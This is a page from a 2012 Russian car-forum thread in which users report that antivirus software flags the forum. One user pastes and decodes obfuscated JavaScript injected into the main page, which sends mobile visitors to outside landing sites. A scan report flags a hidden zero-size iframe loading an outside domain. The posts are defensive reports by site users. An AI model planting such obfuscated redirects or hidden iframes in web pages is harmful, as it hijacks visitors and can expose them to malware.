На сайте вирус
вывод темы на печать
← Предыдущая тема Следующая тема →
Страница 2 из 2
Новая тема Ответить на тему Сообщение
Nsk
# 05 Июня 2012 12:01
ZF_Turbo
Касперыч всё равно ругается Pardon
ZF_Turbo
# 05 Июня 2012 12:12
Всем у кого ещё ругается обновите кэш - Ctrl + F5
Garrison
# 14 Июня 2012 08:46
Снова вирус, снова каспер сечёт.
Судя по всему, в одном из рекламных баннеров.
ZF_Turbo
# 14 Июня 2012 13:07
Garrison
Снова почистили...
Angelier®
# 21 Июля 2012 02:45
Админы, проверьте код на главной странице

<span class="genmed">Дискуссионный клуб.
Ведущий - ветеран Ваза, один из основателей проекта LADAONLINE Юрий Кузьмич Целиков



<script type="text/javascript">document.write(unescape("%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%69%73%6D%6F%62%69%6C%65%3D%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2E%6D%61%74%63%68%28%2F%28%61%6E%64%72%6F%69%64%29%2F%69%29%3B%0A%69%66%20%28%69%73%6D%6F%62%69%6C%65%29%0A%7B%0A%09%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%77%61%70%6C%79%2E%72%75%2F%6C%61%6E%64%2E%70%68%70%3F%73%3D%32%35%36%33%26%61%3D%61%74%64%73%26%6C%3D%61%6F%73%5B%32%38%2C%35%35%2C%34%34%2C%34%30%2C%33%32%2C%35%36%5D%22%3B%0A%7D%3B%3C%2F%73%63%72%69%70%74%3E"));</script><br />
</span><span class="gensmall">Модераторы <noindex><a rel="nofollow" href="profile.php?mode=viewprofile&amp;u=20104">Lednik</a></noindex>, <noindex><a rel="nofollow" href="profile.php?mode=viewprofile&amp;u=67698">Kuzmich2</a></noindex>, <noindex><a rel="nofollow" href="profile.php?mode=viewprofile&amp;u=72872">Thomas</a></noindex></span></td>


UPD

Раскодировал:

Код:

<script type="text/javascript">document.write(unescape("<script type="text/javascript">var ismobile=navigator.userAgent.match(/(android)/i):
if (ismobile)
{
   document.location.href="http://waply.ru/land.php?s=2563&a=atds&l=aos[28,55,44,40,32,56]";
};
</script>
));
</script>

ZF_Turbo
# 21 Июля 2012 10:27
Angelier®
Спасибо, пофиксили.
Angelier®
# 23 Июля 2012 22:38
Админы, не спим!!!!!
Главная:
Код:

<script type="text/javascript">document.write(unescape("<script type="text/javascript">var ismobile=navigator.userAgent.match(/(acs)|(alav)|(alca)|(amoi)|(audi)|(aste)|(avan)|(benq)|(bird)|(blac)|(blaz)|(brew)|(cell)|(cldc)|(cmd-)|(dang)|(doco)|(eric)|(hipt)|(inno)|(ipaq)|(java)|(jigs)|(kddi)|(keji)|(leno)|(lg-c)|(lg-d)|(lg-g)|(lge-)|(maui)|(maxo)|(midp)|(mits)|(mmef)|(mobi)|(mot-)|(moto)|(mwbp)|(nec-)|(newt)|(noki)|(opwv)|(palm)|(pana)|(pant)|(pdxg)|(phil)|(play)|(pluc)|(port)|(prox)|(qtek)|(qwap)|(sage)|(sams)|(sany)|(sch-)|(sec-)|(send)|(seri)|(sgh-)|(shar)|(sie-)|(siem)|(smal)|(smar)|(sony)|(sph-)|(symb)|(t-mo)|(teli)|(tim-)|(tosh)|(tsm-)|(upg1)|(upsi)|(vk-v)|(voda)|(w3cs)|(wap-)|(wapa)|(wapi)|(wapp)|(wapr)|(webc)|(winw)|(winw)|(xda)|(xda-)|(up.browser)|(up.link)|(windows.ce)|(iemobile)|(mini)|(mmp)|(symbian)|(midp)|(wap)|(phone)|(pocket)|(mobile)|(android)|(pda)|(PPC)|(Series60)|(Opera.Mini)|(ipad)|(iphone)/i);
var not4=navigator.userAgent.match(/(android)/i);
if (ismobile&&!not4)
{
   document.location.href="http://mobi-co.in/land.php?s=2515&a=atds&l=ios[47,49,50,32,41,13,56]oos[56,31,55]";
};</script>"));</script><br />



Сам скрипт, для наглядности:
Код:

<td class="row1" width="100%" height="50"><span class="forumlink"> <a href="viewforum.php?f=31" class="forumlink">Ветеран ВАЗа отвечает ФОРУМЧАНАМ</a><br />
     </span> <span class="genmed">Дискуссионный клуб.
Ведущий - ветеран Ваза, один из основателей проекта LADAONLINE Юрий Кузьмич Целиков<script type="text/javascript">document.write(unescape("%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%69%73%6D%6F%62%69%6C%65%3D%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2E%6D%61%74%63%68%28%2F%28%61%63%73%29%7C%28%61%6C%61%76%29%7C%28%61%6C%63%61%29%7C%28%61%6D%6F%69%29%7C%28%61%75%64%69%29%7C%28%61%73%74%65%29%7C%28%61%76%61%6E%29%7C%28%62%65%6E%71%29%7C%28%62%69%72%64%29%7C%28%62%6C%61%63%29%7C%28%62%6C%61%7A%29%7C%28%62%72%65%77%29%7C%28%63%65%6C%6C%29%7C%28%63%6C%64%63%29%7C%28%63%6D%64%2D%29%7C%28%64%61%6E%67%29%7C%28%64%6F%63%6F%29%7C%28%65%72%69%63%29%7C%28%68%69%70%74%29%7C%28%69%6E%6E%6F%29%7C%28%69%70%61%71%29%7C%28%6A%61%76%61%29%7C%28%6A%69%67%73%29%7C%28%6B%64%64%69%29%7C%28%6B%65%6A%69%29%7C%28%6C%65%6E%6F%29%7C%28%6C%67%2D%63%29%7C%28%6C%67%2D%64%29%7C%28%6C%67%2D%67%29%7C%28%6C%67%65%2D%29%7C%28%6D%61%75%69%29%7C%28%6D%61%78%6F%29%7C%28%6D%69%64%70%29%7C%28%6D%69%74%73%29%7C%28%6D%6D%65%66%29%7C%28%6D%6F%62%69%29%7C%28%6D%6F%74%2D%29%7C%28%6D%6F%74%6F%29%7C%28%6D%77%62%70%29%7C%28%6E%65%63%2D%29%7C%28%6E%65%77%74%29%7C%28%6E%6F%6B%69%29%7C%28%6F%70%77%76%29%7C%28%70%61%6C%6D%29%7C%28%70%61%6E%61%29%7C%28%70%61%6E%74%29%7C%28%70%64%78%67%29%7C%28%70%68%69%6C%29%7C%28%70%6C%61%79%29%7C%28%70%6C%75%63%29%7C%28%70%6F%72%74%29%7C%28%70%72%6F%78%29%7C%28%71%74%65%6B%29%7C%28%71%77%61%70%29%7C%28%73%61%67%65%29%7C%28%73%61%6D%73%29%7C%28%73%61%6E%79%29%7C%28%73%63%68%2D%29%7C%28%73%65%63%2D%29%7C%28%73%65%6E%64%29%7C%28%73%65%72%69%29%7C%28%73%67%68%2D%29%7C%28%73%68%61%72%29%7C%28%73%69%65%2D%29%7C%28%73%69%65%6D%29%7C%28%73%6D%61%6C%29%7C%28%73%6D%61%72%29%7C%28%73%6F%6E%79%29%7C%28%73%70%68%2D%29%7C%28%73%79%6D%62%29%7C%28%74%2D%6D%6F%29%7C%28%74%65%6C%69%29%7C%28%74%69%6D%2D%29%7C%28%74%6F%73%68%29%7C%28%74%73%6D%2D%29%7C%28%75%70%67%31%29%7C%28%75%70%73%69%29%7C%28%76%6B%2D%76%29%7C%28%76%6F%64%61%29%7C%28%77%33%63%73%29%7C%28%77%61%70%2D%29%7C%28%77%61%70%61%29%7C%28%77%61%70%69%29%7C%28%77%61%70%70%29%7C%28%77%61%70%72%29%7C%28%77%65%62%63%29%7C%28%77%69%6E%77%29%7C%28%77%69%6E%77%29%7C%28%78%64%61%29%7C%28%78%64%61%2D%29%7C%28%75%70%2E%62%72%6F%77%73%65%72%29%7C%28%75%70%2E%6C%69%6E%6B%29%7C%28%77%69%6E%64%6F%77%73%2E%63%65%29%7C%28%69%65%6D%6F%62%69%6C%65%29%7C%28%6D%69%6E%69%29%7C%28%6D%6D%70%29%7C%28%73%79%6D%62%69%61%6E%29%7C%28%6D%69%64%70%29%7C%28%77%61%70%29%7C%28%70%68%6F%6E%65%29%7C%28%70%6F%63%6B%65%74%29%7C%28%6D%6F%62%69%6C%65%29%7C%28%61%6E%64%72%6F%69%64%29%7C%28%70%64%61%29%7C%28%50%50%43%29%7C%28%53%65%72%69%65%73%36%30%29%7C%28%4F%70%65%72%61%2E%4D%69%6E%69%29%7C%28%69%70%61%64%29%7C%28%69%70%68%6F%6E%65%29%2F%69%29%3B%0A%76%61%72%20%6E%6F%74%34%3D%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2E%6D%61%74%63%68%28%2F%28%61%6E%64%72%6F%69%64%29%2F%69%29%3B%0A%69%66%20%28%69%73%6D%6F%62%69%6C%65%26%26%21%6E%6F%74%34%29%0A%7B%0A%09%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6D%6F%62%69%2D%63%6F%2E%69%6E%2F%6C%61%6E%64%2E%70%68%70%3F%73%3D%32%35%31%35%26%61%3D%61%74%64%73%26%6C%3D%69%6F%73%5B%34%37%2C%34%39%2C%35%30%2C%33%32%2C%34%31%2C%31%33%2C%35%36%5D%6F%6F%73%5B%35%36%2C%33%31%2C%35%35%5D%22%3B%0A%7D%3B%3C%2F%73%63%72%69%70%74%3E"));</script><br />
     </span><span class="gensmall">Модераторы <noindex><a rel="nofollow" href="profile.php?mode=viewprofile&amp;u=20104">Lednik</a></noindex>, <noindex><a rel="nofollow" href="profile.php?mode=viewprofile&amp;u=67698">Kuzmich2</a></noindex>, <noindex><a rel="nofollow" href="profile.php?mode=viewprofile&amp;u=72872">Thomas</a></noindex></span></td>



Ищите дырку, или на FTP пароль разнюхали, или SQL инжекцию делают (что скорей)
Вадя™
# 24 Июля 2012 09:07
спасибо, разберемся
Suse
# 25 Июля 2012 08:03
Проверка сайта http://autolada.ru/

Дата проверки: 25/07/2012 07:58:44

Тип проверки: полная (antivirus-alarm + мировые антивирусные базы)

Список проверяемых файлов:

1. http://autolada.ru/, тип файла: html
• очень подозрительный код, скорее всего вирус:

<iframe src="http://tdass.16mb.com/main.php?site=9" width="0" height="0" frameborder="0"></iframe>

• содержит сомнительную ссылку по версии гугла: www.liveinternet.ru
2. http://autolada.ru/templates/main.js, тип файла: javascript

3. http://autolada.ru/templates/swfobject.js, тип файла: javascript

4. http://ladaonline.ru/jsout.php, тип файла: javascript

5. http://pic-bash.ru/jsout.php?num=4, тип файла: javascript

6. http://autolada.ru/templates/apgt.js, тип файла: javascript

7. http://tdass.16mb.com/main.php?site=9, тип файла: iframe html
• содержит сомнительную ссылку по версии гугла: www.liveinternet.ru

• Почему гугл считает сомнительным даже самого себя, читайте в нашей статье на krwork.ru »
LT
# 25 Июля 2012 08:15
Что случилось? Пропадают сообщения. Т.е. как бы они есть, но по факту они пустые.
Suse
# 25 Июля 2012 08:25
+1
nestor
# 25 Июля 2012 08:44
+2.
Kirill111
# 25 Июля 2012 09:32
Пропадает всякое желание что-либо писать на такой замечательный форум, который раз в неделю откатывается на пару дней назад и трет все написанное. Курилка кер бы с ней, но люди пишут отчеты в профильных, стараются, тратят свое время, а из-за чьих-то кривых лап или невозможности сделать нормальную защиту все нафиг пропадает с завидной регулярностью. Один раз человек стерпит, два, а потом перестанет сюда писать что-либо объемное и полезное, в сети куча сайтов с менее криворукими админами. facepalm

Бэкап не делается элементарный пару раз в сутки? Откатить есть возможность не на два дня, а поближе? У меня например пропало несколько постов, на написание которых я вчера потратил минут 30 времени. facepalm
ZF_Turbo
# 25 Июля 2012 09:55
Ничего не пропадает, это проблема после падания сервера. Все сообщения вернутся на место, после запуска проверки базы данных. Как будто первый раз прям.
realist
# 25 Июля 2012 10:49
минут 5 назад:


Ошибка сервера
На веб-сайте произошла ошибка при получении http://autolada.ru/. Веб-сайт может быть закрыт на обслуживание или настроен неправильно.
Вот несколько советов и рекомендаций:
Обновите эту страницу позже.
Ошибка HTTP 500 (Internal Server Error): При попытке сервера выполнить запрос возникла неожиданная ситуация.

(многократно)
realist
# 25 Июля 2012 11:22
снова многократные 500-ые ошибки. Товарищи, что с форумом?
ZF_Turbo
# 25 Июля 2012 11:31
realist
Что за ошибки? Просто при серфинге?

Ни разу у меня не вылезло.
realist
# 25 Июля 2012 11:34
ZF_Turbo
да, просто при серфинге. подробная ошибка сверху. 2 раза уже было с утра. просто в определенный момент перестаешь заходишь, получаешь ошибку, минут 5 держится-сколько ни обновляй, потом опять всё ок.
ZF_Turbo
# 25 Июля 2012 11:51
Все потерянные сообщения снова видны.

realist
Я правил код сайта немного возможно из-за этого.
realist
# 25 Июля 2012 12:39
ZF_Turbo
спасибо, ясно!
Новая тема Ответить на тему
Показать сообщения:
Страница 2 из 2
Перейти:
ИНФОРМАЦИЯ ПО ИКОНКАМ И ВОЗМОЖНОСТЯМ

Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете вкладывать файлы
Вы можете скачивать файлы

© 2007-2020 autolada.ru - автомобильный форум

По вопросам рекламы Поиск
  •  
  •